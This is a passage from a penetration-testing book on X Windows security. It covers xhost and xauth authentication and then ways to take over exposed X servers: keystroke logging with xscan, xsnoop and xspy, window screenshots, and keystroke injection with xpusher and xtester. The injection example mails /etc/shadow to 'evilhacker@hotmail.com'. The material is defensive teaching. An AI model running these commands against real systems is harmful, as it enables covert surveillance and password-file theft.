7.5 X Windows

X Windows is commonly used by most major Unix-like operating systems as the underlying system for displaying graphical applications. For example, Gnome, KDE, and applications including xterm and ghostview run using the X Windows protocol.

X Windows was developed at MIT in 1984, with Version 11 first released in 1987. The X Window system is currently at release six of Version 11 (commonly referred to as X11R6). Over the past few years since release two, the X Window system has been maintained by the X Consortium, an association of manufacturers supporting the X standard.

7.5.1 X Windows Authentication

X servers listen on TCP ports 6000 to 6063 (depending on the number of concurrent displays). Most of the time users simply access their local X server, although X can be accessed over a network for remote use. The two authentication mechanisms within X Windows are xhost and xauth, which I discuss in the following sections. xhost

Host-based X authentication allows users to specify which IP addresses and hosts have access to the X server. The xhost command is used with + and - options to allow and deny X access from individual hosts (i.e., xhost + If a + option is used with no address, any remote host can access the X server.

xhost authentication is dangerous and doesn't provide the granularity required in complex environments. By issuing an xhost - command, host-based authentication is disabled, and only local access is granted. xauth

When a legitimate user logs in locally to X Windows, a magic cookie is placed into the .Xauthority file under the user's home directory. The .Xauthority file contains one cookie for each X display the user can use, which can be manipulated using the xauth utility as shown here:

# xauth list

onyx.example.org:0 MIT-MAGIC-COOKIE-1 d5d3634d2e6d64b1c078aee61ea846b5

onyx/unix:0 MIT-MAGIC-COOKIE-1 d5d3634d2e6d64b1c078aee61ea846b5


X server magic cookies can be placed into other user .Xauthority files (even on remote hosts) by simply copying the cookie and using xauth as follows:

# xauth add onyx.example.org:0 MIT-MAGIC-COOKIE-1 d5d3634d2e6d64b1c078aee61ea846b5

# xauth list

onyx.example.org:0 MIT-MAGIC-COOKIE-1 d5d3634d2e6d64b1c078aee61ea846b5


7.5.2 Assessing X Servers

The most obvious vulnerability to check for when assessing X servers is if xhost authentication has been enabled with the + wildcard. The xscan utility can quickly identify poorly configured X servers; it's available from http://packetstormsecurity.org/Exploit_Code_Archive/xscan.tar.gz.

Example 7-13 shows the xscan tool used to scan the network:

Example 7-13. Running xscan
# ./xscan 192.168.189


Scanning hostname ...

Connecting to (gatekeeper) on port 6000...

Host is not running X.

Scanning hostname ...

Connecting to (xserv) on port 6000...


Host is running X.

Starting keyboard logging of host to file KEYLOG192.168.189.66:0.0...

At this point, the tool taps into the X server display (:0.0) on and siphons keystrokes from the active programs on the remote system (to a file called KEYLOG192.168.189.66:0.0).

Upon identifying accessible X servers and displays, an attacker can do the following:

  • List the open windows for that X display

  • Take screenshots of specific open windows

  • Capture keystrokes typed in specific windows

  • Send keystrokes to specific windows List open windows

To list the open windows for a given accessible X server display, issue the following xwininfo command:

# xwininfo -tree -root -display | grep -i term

     0x2c00005 "root@onyx: /": ("GnomeTerminal" "GnomeTerminal.0")

     0x2c00014 "root@xserv: /": ("GnomeTerminal" "GnomeTerminal.0")

In this case, the output from xwininfo is piped through grep to identify open terminal sessions. In most cases, you are presented with a large number of open windows, so it's useful to filter the output in this way.

Here, two open windows have hex window-ID values of 0x2c00005 and 0x2c00014. These ID values are needed when using tools to monitor and manipulate specific processes. Take screenshots of specific open windows

X11R6 has a built-in tool called xwd that can take snapshots of particular windows. The utility uses XGetImage( ) as the main function call to do this. The output can be piped into the xwud command, which displays xwd images. Here are two examples of the tool being run to gather screenshots:

Show the entire display at

# xwd -root -display | xwud

Show the terminal session window at 0x2c00005:

# xwd -id 0x2c00005 -display | xwud

xwatchwin also takes updated screenshots every few seconds and is available at ftp://ftp.x.org/contrib/utilities/xwatchwin.tar.Z.

If you specify a window ID using xwatchwin, it must be an integer instead of hex. The Window ID integer can be displayed if you add the -int option to xwininfo. Here ar two command-line examples of the tool:

Show the entire display at

# ./xwatchwin root

Show a specific window ID at

# ./xwatchwin 46268351 Capture keystrokes typed in specific windows

You can use two tools to capture keystrokes from exposed X servers: snoop and xspy, which are available at:


Upon compiling, you can run both tools from the command line. Two examples follow, showing how these tools can be used to log keystrokes. Example 7-14 shows xsnoop used to monitor the specific window ID 0x2c00005.

Example 7-14. Using xsnoop to monitor a specific window
# ./xsnoop -h 0x2c00005 -d




The entire display can be monitored using xspy, as shown in Example 7-15.

Example 7-15. Using xspy to monitor the entire display
# ./xspy -display


It was good to meet with your earlier on. I've enclosed the AIX

hardening guide as requested - don't hesitate to drop me a line if

you have any further queries!






godisluv Send keystrokes to specific windows

Pushing keystrokes to specific windows has varying mileage depending on the X server. xpusher and xtester are two tools you can use; they are available at:


The xpusher and xtester programs take two different approaches when trying to send keystrokes to the remote X server. The xpusher tool uses the XSendEvent( ) function, and xtester takes advantage of the XTest extensions included with X11R6. Recent X servers mark remote input through XSendEvent( ) as synthetic and don't process it, so I recommend the xtester route if you are assessing an X11R6 server.

Both tools are extremely simple to use when you know to which windows you want to send keystrokes (using the xwininfo utility). Two command-line examples of the xpusher and xtester usage follow; both email evilhacker@hotmail.com the /etc/shadow file from the server.

Using xpusher to send commands to window 0x2c00005:

# ./xpusher -h 0x2c00005 -display

mail evilhacker@hotmail.com < /etc/shadow

Using xtester to send commands to window 0x2c00005:

# ./xtester 0x2c00005

mail evilhacker@hotmail.com < /etc/shadow

7.5.3 Known X Window System Vulnerabilities

The majority of vulnerabilities in XFree86 and other window management systems are locally exploitable (through abusing symlink vulnerabilities or race conditions), and I don't cover them here. After searching the MITRE CVE list, CERT knowledge base, and others for a definitive list of serious remotely exploitable issues, I found the ISS X-Force database (http://xforce.iss.net) was the most comprehensive, listing one serious bug relating to a remote overflow in XDM. For further information, see XFID 4762, at http://xforce.iss.net/xforce/xfdb/4762.